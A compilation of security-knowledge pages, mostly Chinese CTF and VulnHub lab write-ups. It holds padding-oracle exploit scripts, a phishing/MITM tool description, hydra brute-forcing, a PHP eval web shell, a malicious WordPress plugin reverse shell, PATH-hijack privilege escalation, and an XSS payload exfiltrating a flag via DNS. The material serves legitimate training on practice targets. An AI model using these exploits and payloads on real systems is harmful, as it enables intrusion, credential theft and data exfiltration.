## keep iv[7:] do not change, so decrypt msg[7:] won't change
get_md5_iv = flipplain("token: ".ljust(16, '\x00'), "get-md5".ljust(
16, '\x00'), iv)
payload = cipher_token
## calculate the proper last byte number
last_byte_iv = flipplain(
pad("Welcome!!"),
"a" * 15 + chr(len(cipher_token) + 16 + 16 - (7 + i + 1)), iv)
payload += last_byte_iv + cipher_welcome
sendmsg(get_md5_iv, payload)
return recvmsg()
def get_md5_token_indexi(iv_encrypt, cipher_welcome, cipher_token):
md5_token_idxi = []
for i in range(len(cipher_token) - 7):
log.info("idx i: {}".format(i))
_, md5_indexi = getmd5enc(i, cipher_token, cipher_welcome, iv_encrypt)
assert (len(md5_indexi) == 32)
# remove the last 16 byte for padding
md5_token_idxi.append(md5_indexi[:16])
return md5_token_idxi
def doin(unpadcipher, md5map, candidates, flag):
if unpadcipher in md5map:
lastbyte = md5map[unpadcipher]
else:
lastbyte = 0
if flag == 0:
lastbyte ^= 0x80
newcandidates = []
for x in candidates:
for c in range(256):
if MD5.new(x + chr(c)).digest()[-1] == chr(lastbyte):
newcandidates.append(x + chr(c))
candidates = newcandidates
print candidates
return candidates
def main():
bypassproof()
# result of encrypted Welcome!!
iv_encrypt, cipher_welcome = recvmsg()
log.info("cipher welcome is : " + cipher_welcome)
# execute get-token
get_token_iv = flipplain(pad("Welcome!!"), pad("get-token"), iv_encrypt)
sendmsg(get_token_iv, cipher_welcome)
_, cipher_token = recvmsg()
token_len = len(cipher_token)
log.info("cipher token is : " + cipher_token)
# get command not found cipher
sendmsg(iv_encrypt, cipher_welcome)
_, cipher_notfound = recvmsg()
# get encrypted(token[:i+1]),57 times
md5_token_idx_list = get_md5_token_indexi(iv_encrypt, cipher_welcome,
cipher_token)
# get md5map for each unpadsize, 209-17 times
# when upadsize>208, it will unpad ciphertoken
# then we can reuse
md5map = dict()
for unpadsize in range(17, 209):
log.info("get unpad size {} cipher".format(unpadsize))
get_md5_iv = flipplain("token: ".ljust(16, '\x00'), "get-md5".ljust(
16, '\x00'), iv_encrypt)
## padding 16*11 bytes
padding = 16 * 11 * "a"
## calculate the proper last byte number, only change the last byte
## set last_byte_iv = iv_encrypted[:15] | proper byte
last_byte_iv = flipplain(
pad("Welcome!!"),
pad("Welcome!!")[:15] + chr(unpadsize), iv_encrypt)
cipher = cipher_token + padding + last_byte_iv + cipher_welcome
sendmsg(get_md5_iv, cipher)
_, unpadcipher = recvmsg()
md5map[unpadcipher] = unpadsize
# reuse encrypted(token[:i+1])
for i in range(209, 256):
target = md5_token_idx_list[56 - (i - 209)]
md5map[target] = i
candidates = [""]
# get the byte token[i], only 56 byte
for i in range(token_len - 7):
log.info("get token[{}]".format(i))
get_md5_iv = flipplain("token: ".ljust(16, '\x00'), "get-md5".ljust(
16, '\x00'), iv_encrypt)
## padding 16*11 bytes
padding = 16 * 11 * "a"
cipher = cipher_token + padding + iv_encrypt + md5_token_idx_list[i]
sendmsg(get_md5_iv, cipher)
_, unpadcipher = recvmsg()
# already in or md5[token[:i]][-1]='\x00'
if unpadcipher in md5map or unpadcipher == cipher_notfound:
candidates = doin(unpadcipher, md5map, candidates, 1)
else:
log.info("unpad size 1-16")
# flip most significant bit of last byte to move it in a good range
cipher = cipher[:-17] + strxor(cipher[-17], '\x80') + cipher[-16:]
sendmsg(get_md5_iv, cipher)
_, unpadcipher = recvmsg()
if unpadcipher in md5map or unpadcipher == cipher_notfound:
candidates = doin(unpadcipher, md5map, candidates, 0)
else:
log.info('oh my god,,,, it must be in...')
exit()
print len(candidates)
# padding 0x01
candidates = filter(lambda x: x[-1] == chr(0x01), candidates)
# only 56 bytes
candidates = [x[:-1] for x in candidates]
print len(candidates)
assert (len(candidates[0]) == 56)
# check-token
check_token_iv = flipplain(
pad("Welcome!!"), pad("check-token"), iv_encrypt)
sendmsg(check_token_iv, cipher_welcome)
p.recvuntil("Give me the token!\n")
p.sendline(base64.b64encode(candidates[0]))
print p.recv()
p.interactive()
if __name__ == "__main__":
main()
```
效果如下
```shell
...
79
1
hitcon{uNp@d_M3th0D_i5_am4Z1n9!}
```
## Teaser Dragon CTF 2018 AES-128-TSB
这个题目还是蛮有意思的,题目描述如下
```
Haven't you ever thought that GCM mode is overcomplicated and there must be a simpler way to achieve Authenticated Encryption? Here it is!
Server: aes-128-tsb.hackable.software 1337
server.py
```
附件以及最后的 exp 自行到 ctf-challenge 仓库下寻找。
题目的基本流程为
- 不断接收 a 和 b 两个字符串,其中 a 为明文,b 为密文,注意
- b 在解密后需要满足尾部恰好等于 iv。
- 如果 a 和 b 相等,那么根据
- a 为 `gimme_flag` ,输出加密后的 flag。
- 否则,输出一串随机加密的字符串。
- 否则输出一串明文的字符串。
此外,我们还可以发现题目中的 unpad 存在问题,可以截断指定长度。
```python
def unpad(msg):
if not msg:
return ''
return msg[:-ord(msg[-1])]
```
一开始,很直接的思路是 a 和 b 的长度都输入 0 ,那么可以直接绕过 `a==b` 检查,获取一串随机密文加密的字符串。然而似乎并没有什么作用,我们来分析一下加密的流程
```python
def tsb_encrypt(aes, msg):
msg = pad(msg)
iv = get_random_bytes(16)
prev_pt = iv
prev_ct = iv
ct = ''
for block in split_by(msg, 16) + [iv]:
ct_block = xor(block, prev_pt)
ct_block = aes.encrypt(ct_block)
ct_block = xor(ct_block, prev_ct)
ct += ct_block
prev_pt = block
prev_ct = ct_block
return iv + ct
```
不妨假设 $P_0=iv,C_0=iv$,则
$C_i=C_{i-1}\oplus E(P_{i-1} \oplus P_i)$
那么,假设消息长度为 16,与我们想要得到的`gimme_flag` padding 后长度类似,则
$C_1=IV\oplus E( IV \oplus P_1)$
$C_2=C_1 \oplus E(P_1 \oplus IV)$
可以很容易的发现 $C_2=IV$。
([盗图](https://github.com/pberba/ctf-solutions/tree/master/20180929_teaser_dragon/aes_128_tsb),下面的图片更加清晰
反过来想,如果我们向服务器发送 `iv+c+iv`,那么总能绕过 `tsb_decrypt` 的 mac 检查
```python
def tsb_decrypt(aes, msg):
iv, msg = msg[:16], msg[16:]
prev_pt = iv
prev_ct = iv
pt = ''
for block in split_by(msg, 16):
pt_block = xor(block, prev_ct)
pt_block = aes.decrypt(pt_block)
pt_block = xor(pt_block, prev_pt)
pt += pt_block
prev_pt = pt_block
prev_ct = block
pt, mac = pt[:-16], pt[-16:]
if mac != iv:
raise CryptoError()
return unpad(pt)
```
那么此时,服务器解密后的消息则是
$unpad(IV \oplus D(C_1 \oplus IV))$
### 获取明文最后一个字节
我们可以考虑控制 D 解密的消息为常数值,比如全零,即`C1=IV`,那么我们就可以从 0 到 255 枚举 IV 的最后一个字节,得到 $IV \oplus D(C_1 \oplus IV)$ 的最后一个字节也是 0~255。而只有是 1~15 的时候,`unpad` 操作过后,消息长度不为 0。因此,我们可以在枚举时统计究竟哪些数字导致了长度不为零,并标记为 1,其余标记为 0。
```python
def getlast_byte(iv, block):
iv_pre = iv[:15]
iv_last = ord(iv[-1])
tmp = []
print('get last byte')
for i in range(256):
send_data('')
iv = iv_pre + chr(i)
tmpblock = block[:15] + chr(i ^ ord(block[-1]) ^ iv_last)
payload = iv + tmpblock + iv
send_data(payload)
length, data = recv_data()
if 'Looks' in data:
tmp.append(1)
else:
tmp.append(0)
last_bytes = []
for i in range(256):
if tmp == xor_byte_map[i][0]:
last_bytes.append(xor_byte_map[i][1])
print('possible last byte is ' + str(last_bytes))
return last_bytes
```
此外,我们可以在最初的时候打表获取最后一个字节所有的可能情况,记录在 xor_byte_map 中。
```python
"""
every item is a pair [a,b]
a is the xor list
b is the idx which is zero when xored
"""
xor_byte_map = []
for i in range(256):
a = []
b = 0
for j in range(256):
tmp = i ^ j
if tmp > 0 and tmp <= 15:
a.append(1)
else:
a.append(0)
if tmp == 0:
b = j
xor_byte_map.append([a, b])
```
通过与这个表进行对比,我们就可以知道最后一个字节可能的情况。
### 解密任意加密块
在获取了明文最后一个字节后,我们就可以利用 unpad 的漏洞,从长度 1 枚举到长度 15 来获得对应的明文内容。
```python
def dec_block(iv, block):
last_bytes = getlast_byte(iv, block)
iv_pre = iv[:15]
iv_last = ord(iv[-1])
print('try to get plain')
plain0 = ''
for last_byte in last_bytes:
plain0 = ''
for i in range(15):
print 'idx:', i
tag = False
for j in range(256):
send_data(plain0 + chr(j))
pad_size = 15 - i
iv = iv_pre + chr(pad_size ^ last_byte)
tmpblock = block[:15] + chr(
pad_size ^ last_byte ^ ord(block[-1]) ^ iv_last
)
payload = iv + tmpblock + iv
send_data(payload)
length, data = recv_data()
if 'Looks' not in data:
# success
plain0 += chr(j)
tag = True
break
if not tag:
break
# means the last byte is ok
if plain0 != '':
break
plain0 += chr(iv_last ^ last_byte)
return plain0
```
### 解密出指定明文
这一点比较简单,我们希望利用这一点来获取 `gimme_flag` 的密文
```python
print('get the cipher of flag')
gemmi_iv1 = xor(pad('gimme_flag'), plain0)
gemmi_c1 = xor(gemmi_iv1, cipher0)
payload = gemmi_iv1 + gemmi_c1 + gemmi_iv1
send_data('gimme_flag')
send_data(payload)
flag_len, flag_cipher = recv_data()
```
其中 plain0 和 cipher0 是我们获取的 AES 加密的明密文对,不包括之前和之后的两个异或。
### 解密 flag
这一点,其实就是利用解密任意加密块的功能实现的,如下
```python
print('the flag cipher is ' + flag_cipher.encode('hex'))
flag_cipher = split_by(flag_cipher, 16)
print('decrypt the blocks one by one')
plain = ''
for i in range(len(flag_cipher) - 1):
print('block: ' + str(i))
if i == 0:
plain += dec_block(flag_cipher[i], flag_cipher[i + 1])
else:
iv = plain[-16:]
cipher = xor(xor(iv, flag_cipher[i + 1]), flag_cipher[i])
plain += dec_block(iv, cipher)
pass
print('now plain: ' + plain)
print plain
```
可以思考一下为什么第二块之后的密文操作会有所不同。
完整的代码参考 ctf-challenge 仓库。
## 参考资料
- [分组加密模式](https://zh.wikipedia.org/wiki/%E5%88%86%E7%BB%84%E5%AF%86%E7%A0%81%E5%B7%A5%E4%BD%9C%E6%A8%A1%E5%BC%8F)
- https://en.wikipedia.org/wiki/Padding_oracle_attack
- http://netifera.com/research/poet/PaddingOraclesEverywhereEkoparty2010.pdf
- https://ctftime.org/writeup/7975
- https://ctftime.org/writeup/7974
|
sec-knowleage
|
---
title: Ghost Phisher
categories: Information Gathering
tags: [kali linux,wireless attacks,information gathering,ghost phisher]
date: 2016-10-25 11:50:00
---
0x00 Ghost Phisher介绍
-------------
Ghost Phisher是一个使用Python编程语言和Python Qt GUI库编写的无线和以太网安全审计和攻击程序,可以伪造DNS服务器、DHCP服务器、HTTP服务器并且内置自动抓取和记录认证信息的功能模块。这个程序可用于制作蜜罐,也可用于钓鱼(安全测试)的相关工作。
Ghost Phisher目前支持以下功能:
```plain
HTTP服务器
内置RFC 1035 DNS服务器
内置RFC 2131 DHCP服务器
网页托管和凭证记录器(网络钓鱼)
Wifi接入点模拟器
会话劫持(被动和以太网模式)
ARP缓存欺骗(用于MITM和DOS攻击)
使用绑定的Metasploit进行渗透
使用SQlite数据库进行自动凭证日志记录
更新支持
```
工具来源:https://code.google.com/p/ghost-phisher/
[Ghost Phisher主页][1] | [Kali Ghost Phisher Repo仓库][2]
- 作者:Saviour Emmanuel Ekiko
- 证书:GPLv3
0x01 Ghost Phisher功能
---------------
ghost-phisher - 用于网络钓鱼和渗透攻击的图形用户界面套件
<!--more-->
0x02 Ghost Phisher用法示例
-----------------
YouTube:[How to create fake wifi hotspot (ghost phisher) using kali linux 2][3]
```shell
root@kali:~# ghost-phisher
```
![ghost-phisher.gif][4]
[1]: https://code.google.com/p/ghost-phisher/
[2]: http://git.kali.org/gitweb/?p=packages/ghost-phisher.git;a=summary
[3]: https://www.youtube.com/watch?v=QpMZXp1NryE
[4]: https://www.hackfun.org/usr/uploads/2016/10/690577029.gif
|
sec-knowleage
|
# SUNSET MIDNIGHT
> https://download.vulnhub.com/sunset/midnight.7z
靶场IP:`192.168.2.4 `
扫描对外端口
```
┌──(root㉿kali)-[~/Desktop]
└─# nmap -p1-65535 -sV 192.168.2.4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-04 07:13 EDT
Nmap scan report for 192.168.2.4
Host is up (0.000080s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
MAC Address: 08:00:27:05:08:38 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.24 seconds
```
浏览器访问80端口,发现配置本地hosts

```
┌──(root㉿kali)-[~/Desktop]
└─# cat /etc/hosts
192.168.2.4 sunset-midnight
```

对wordpress进行暴力破解,发现无法爆破。
```
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt sunset-midnight -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' -t 64
```
于是爆破MySQL端口,找到账号密码:`root/robert`
```
┌──(root㉿kali)-[/tmp]
└─# hydra -l root -P /usr/share/wordlists/rockyou.txt sunset-midnight mysql
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-04 08:43:20
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://sunset-midnight:3306/
[3306][mysql] host: sunset-midnight login: root password: robert
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-04 08:43:21
```

查询wordpress的后台登录密码

不过无法破解到密码,于是直接更改密码的哈希的密码为`password`。
```
MariaDB [wordpress_db]> update wp_users set user_pass="5f4dcc3b5aa765d61d8327deb882cf99" WHERE ID=1;
Query OK, 1 row affected (0.003 sec)
Rows matched: 1 Changed: 1 Warnings: 0
```
登录wordpress后台

在插件添加一句话木马
```
<?php @eval($_GET["cmd"]); ?>
```

但是无法保存成功。

使用WordPress 木马插件
> https://github.com/wetw0rk/malicious-wordpress-plugin.git
```
┌──(root㉿kali)-[/opt/malicious-wordpress-plugin]
└─# python wordpwn.py 192.168.2.5 8888 Y
[*] Checking if msfvenom installed
[+] msfvenom installed
[+] Generating plugin script
[+] Writing plugin script to file
[+] Generating payload To file
```

访问:`http://sunset-midnight/wp-content/plugins/malicious/wetw0rk_maybe.php`,即可连接反弹shell
> 或者`/wp-content/plugins/malicious/QwertyRocks.php`

查看`wp-config.php`
```
define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */
define( 'DB_USER', 'jose' );
/** MySQL database password */
define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
```
切换到`jose`用户

查找suid
```
jose@midnight:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/sudo
/usr/bin/status
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
```
提权
```
jose@midnight:~$ /usr/bin/status
/usr/bin/status
sh: 1: service: not found
jose@midnight:~$ cd /tmp
cd /tmp
jose@midnight:/tmp$ nano service
nano service
Error opening terminal: unknown.
jose@midnight:/tmp$
jose@midnight:/tmp$ echo '/bin/sh' >> service
echo '/bin/sh' >> service
jose@midnight:/tmp$ export PATH=$PATH:/tmp
export PATH=$PATH:/tmp
jose@midnight:/tmp$ /usr/bin/status
/usr/bin/status
sh: 1: service: Permission denied
Status of the SSH server:jose@midnight:/tmp$
jose@midnight:/tmp$ chmod +x service
chmod +x service
jose@midnight:/tmp$ /usr/bin/status
/usr/bin/status
# id
id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),1000(jose)
```
查看flag

|
sec-knowleage
|
groupadd
===
用于创建一个新的工作组
## 补充说明
**groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。
### 语法
```shell
groupadd(选项)(参数)
```
### 选项
```shell
-g:指定新建工作组的id;
-r:创建系统工作组,系统工作组的组ID小于500;
-K:覆盖配置文件“/etc/login.defs”;
-o:允许添加组ID号不唯一的工作组。
```
### 参数
组名:指定新建工作组的组名。
### 实例
建立一个新组,并设置组ID加入系统:
```shell
groupadd -g 344 jsdigname
```
此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。
|
sec-knowleage
|
# Inclusiveness
> https://download.vulnhub.com/inclusiveness/Inclusiveness.ova
靶场IP:`192.168.32.23`
扫描对外端口服务
```
┌──(root㉿kali)-[/tmp]
└─# nmap -sV -p1-65535 192.168.32.23
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-14 01:43 EDT
Nmap scan report for 192.168.32.23
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:04:82:67 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
```
FTP匿名访问,没有发现有用的东西
```
┌──(root㉿kali)-[/tmp]
└─# ftp 192.168.32.23
Connected to 192.168.32.23.
220 (vsFTPd 3.0.3)
Name (192.168.32.23:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
229 Entering Extended Passive Mode (|||55354|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Feb 08 2020 .
drwxr-xr-x 3 0 0 4096 Feb 08 2020 ..
drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||35394|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -al
229 Entering Extended Passive Mode (|||26092|)
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 4096 Feb 08 2020 .
drwxr-xr-x 3 0 0 4096 Feb 08 2020 ..
226 Directory send OK.
```
访问80端口

爆破目录
```
┌──(root㉿kali)-[/tmp]
└─# dirb http://192.168.32.23/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Sep 14 01:47:53 2022
URL_BASE: http://192.168.32.23/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.23/ ----
+ http://192.168.32.23/index.html (CODE:200|SIZE:10701)
==> DIRECTORY: http://192.168.32.23/javascript/
==> DIRECTORY: http://192.168.32.23/manual/
+ http://192.168.32.23/robots.txt (CODE:200|SIZE:59)
+ http://192.168.32.23/server-status (CODE:403|SIZE:278)
---- Entering directory: http://192.168.32.23/javascript/ ----
---- Entering directory: http://192.168.32.23/manual/ ----
==> DIRECTORY: http://192.168.32.23/manual/da/
==> DIRECTORY: http://192.168.32.23/manual/de/
==> DIRECTORY: http://192.168.32.23/manual/en/
==> DIRECTORY: http://192.168.32.23/manual/es/
==> DIRECTORY: http://192.168.32.23/manual/fr/
==> DIRECTORY: http://192.168.32.23/manual/images/
+ http://192.168.32.23/manual/index.html (CODE:200|SIZE:626)
==> DIRECTORY: http://192.168.32.23/manual/ja/
==> DIRECTORY: http://192.168.32.23/manual/ko/
==> DIRECTORY: http://192.168.32.23/manual/style/
==> DIRECTORY: http://192.168.32.23/manual/tr/
==> DIRECTORY: http://192.168.32.23/manual/zh-cn/
---- Entering directory: http://192.168.32.23/manual/da/ ----
==> DIRECTORY: http://192.168.32.23/manual/da/developer/
==> DIRECTORY: http://192.168.32.23/manual/da/faq/
==> DIRECTORY: http://192.168.32.23/manual/da/howto/
+ http://192.168.32.23/manual/da/index.html (CODE:200|SIZE:9117)
==> DIRECTORY: http://192.168.32.23/manual/da/misc/
==> DIRECTORY: http://192.168.32.23/manual/da/mod/
==> DIRECTORY: http://192.168.32.23/manual/da/programs/
==> DIRECTORY: http://192.168.32.23/manual/da/ssl/
```
访问:`/robots.txt`,提示说你不是搜索引擎,不能读取。

修改 **UA** 为搜索引擎标识即可
```
┌──(root㉿kali)-[/tmp]
└─# curl -A GoogleBot http://192.168.32.23/robots.txt
User-agent: *
Disallow: /secret_information
```
访问:`/secret_information`

该页面有文件包含漏洞
```
┌──(root㉿kali)-[/tmp]
└─# curl http://192.168.32.23/secret_information/?lang=/etc/passwd
<title>zone transfer</title>
<h2>DNS Zone Transfer Attack</h2>
<p><a href='?lang=en.php'>english</a> <a href='?lang=es.php'>spanish</a></p>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi-autoipd:x:107:114:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
avahi:x:113:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:114:121::/var/lib/saned:/usr/sbin/nologin
colord:x:115:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:116:123::/var/lib/geoclue:/usr/sbin/nologin
tom:x:1000:1000:Tom,,,:/home/tom:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ftp:x:118:125:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
```
上传反弹shell到FTP里面

查看FTP的虚拟目录
```
┌──(root㉿kali)-[/tmp]
└─# curl http://192.168.32.23/secret_information/?lang=/etc/vsftpd.conf
# Point users at the directory we created earlier.
anon_root=/var/ftp/
write_enable=YES
```
访问:`http://192.168.32.23/secret_information/?lang=/var/ftp/pub/shell.php`

查看tom目录,发现rootshell有suid,并且有源码,分析是执行`whomai`命令

使用环境变量绕过提权
我们在 /tmp 目录下建立一个文件为 whoami 并编写以下 bash 代码来打印用户tom
```
echo "printf "tom"" > /tmp/whoami
```
添加可执行权限 whoami
```
chmod +x whoami
```
更改目标系统路径 /tmp 目录
```
export PATH=/tmp:$PATH
```
提权成功

|
sec-knowleage
|
#!/usr/bin/env python
from Crypto.Util.number import *
from gmpy import *
import os,sys
sys.stdin = os.fdopen(sys.stdin.fileno(), 'r', 0)
sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0)
def genKey():
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
while True:
e = getRandomInteger(40)
if gcd(e,phi) == 1:
d = int(invert(e,phi))
return n,e,d
def calc(n,p,data):
num = bytes_to_long(data)
res = pow(num,p,n)
return long_to_bytes(res).encode('hex')
def readFlag():
flag = open('flag').read()
assert len(flag) >= 50
assert len(flag) <= 60
prefix = os.urandom(68)
return prefix+flag
if __name__ == '__main__':
n,e,d = genKey()
flag = calc(n,e,readFlag())
print 'Here is the flag!'
print flag
for i in xrange(150):
msg = raw_input('cmd: ')
if msg[0] == 'A':
m = raw_input('input: ')
try:
m = m.decode('hex')
print calc(n,e,m)
except:
print 'no'
exit(0)
elif msg[0] == 'B':
m = raw_input('input: ')
try:
m = m.decode('hex')
print calc(n,d,m)[-2:]
except:
print 'no'
exit(0)
|
sec-knowleage
|
# CoolNAME Checker [324 points] (19 solves)
Files:
- This challenge provided a [link](http://reverse-lookup.hackable.software)
## Part 0: research
The website allows us to enter an IP and the server will make a DNS request to it (judging from the name it's going to be a CNAME DNS query). Below is a quick nonce solver we used, which was executed with a simple JS script in console.
```js
const nonce = document.querySelector('input[name="nonce"]').value;
fetch('https://%REDACTED%', { method: 'POST', body: nonce })
.then(res => res.text())
.then(res => document.querySelector('input[name="pow"]').value = res);
document.querySelector('input[name="srv"]').value = "%REDACTED%";
```
The button *show to admin* hinted at an XSS vuln. We ran a simple python DNS server from [here](https://gist.github.com/samuelcolvin/ca8b429504c96ee738d62a798172b046). This allowed us to return arbitrary responses quite easily.
```python
from time import sleep
from dnslib import RR
from dnslib.server import DNSServer
#PAYLOAD = '<script>fetch(\'%REDACTED\',{body:document.body.innerHTML,method:\'POST\'})</script>'
#PAYLOAD = '<script/src=\'%REDACTED%\'></script>'
PAYLOAD = '<img/src=\'%REDACTED%\'>'
class Resolver:
def resolve(self, request, handler):
reply = request.reply()
resname = str(request.q.qname)[:-1]
reply.add_answer(*RR.fromZone(resname + ' 2137 CNAME ' + PAYLOAD))
return reply
if __name__ == '__main__':
resolver = Resolver()
s = DNSServer(resolver, port=53, address='0.0.0.0', tcp=False)
s.start_thread()
try:
while 1:
sleep(0.1)
except KeyboardInterrupt:
pass
finally:
s.stop()
```
## Part 1: solution
We quickly realised, that above payloads worked on local side - meaning that XSS was working, but we couldn't get admin to hit our requestbin. On top of that, payload couldn't contain spaces.
It took us quite some time to read challenge carefully. *Only udp/53 outgoing traffic allowed from server*. That meant we needed to smuggle flag in a DNS query.
Final payload:
```html
<script>window.location=('http://'+document.getElementById('flag').innerHTML.substr(14).split('').reduce((hex,c)=>hex+=c.charCodeAt(0).toString(16),'').substr(0,60)+'.%REDACTED%')</script>
```
Flag: `DrgnS{MustLuuuuvDNS_dontYa}`
|
sec-knowleage
|
# Challenge #1
Solved together with YaakovCohen88
## Description
> Welcome Agent.
>
> A team of field operatives is currently on-site in enemy territory, working to retrieve intel on an imminent terrorist attack.
>
> The intel is contained in a safe, the plans for which are available to authorized > clients via an app.
>
> Our client ID is f6e772ba649047c8b5d653914bd5d6d7
>
> Your mission is to retrieve those plans, and allow our team to break into the safe.
>
> Good luck!,
> M.|
An APK file was attached.
## Solution
We start by extracting the APK file using `apktool`:
```console
root@kali:/media/sf_CTFs/mossad/1# apktool d app.apk
I: Using Apktool 2.3.4-dirty on app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
```
The first thing to look at is the manifest:
```xml
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.iwalk.locksmither" platformBuildVersionCode="1" platformBuildVersionName="1.0.0">
<uses-permission android:name="android.permission.INTERNET"/>
<application android:data="look for us on github.com" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="LockSmither" android:name="io.flutter.app.FlutterApplication">
<activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.iwalk.locksmither.MainActivity" android:theme="@style/LaunchTheme" android:windowSoftInputMode="adjustResize">
<meta-data android:name="io.flutter.app.android.SplashScreenUntilFirstFrame" android:value="true"/>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
```
Looks like a [Flutter](https://flutter.dev/) application:
